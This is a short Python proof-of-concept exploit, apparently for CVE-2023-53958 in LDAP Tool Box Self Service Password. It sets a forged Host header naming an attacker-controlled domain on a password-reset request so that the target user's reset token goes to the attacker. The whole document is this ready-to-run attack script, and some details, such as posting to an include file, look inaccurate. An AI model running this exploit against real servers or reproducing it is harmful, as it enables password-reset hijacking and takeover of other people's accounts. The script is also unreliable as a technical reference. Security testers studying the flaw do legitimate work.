CVE-2023-53958

import requests # CVE-2023-53958 PoC - HTTP Host Header Manipulation # LDAP Tool Box Self Service Password Password Reset Token Hijacking target_url = "http://target-server/self-service-password" attacker_domain = "attacker-controlled-server.com" def exploit_host_header_injection(): """ Exploit CVE-2023-53958 by manipulating HTTP Host header during password reset token generation. """ # Step 1: Request password reset with manipulated Host header reset_endpoint = f"{target_url}/inc/functions.inc.php" headers = { 'Host': attacker_domain, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'text/html,application/xhtml+xml', 'Content-Type': 'application/x-www-form-urlencoded' } data = { 'login': 'target_user', 'mail': '[email protected]', 'action': 'sendtoken' } # Send password reset request with malicious Host header response = requests.post( reset_endpoint, headers=headers, data=data, allow_redirects=False, verify=False ) print(f"[*] Request sent to {target_url}") print(f"[*] Manipulated Host header: {attacker_domain}") print(f"[*] Response status: {response.status_code}") # The reset token will be sent to attacker-controlled server # Attacker's server should capture the token from the Host header return response if __name__ == "__main__": print("="*60) print("CVE-2023-53958 - HTTP Host Header Injection PoC") print("="*60) exploit_host_header_injection()

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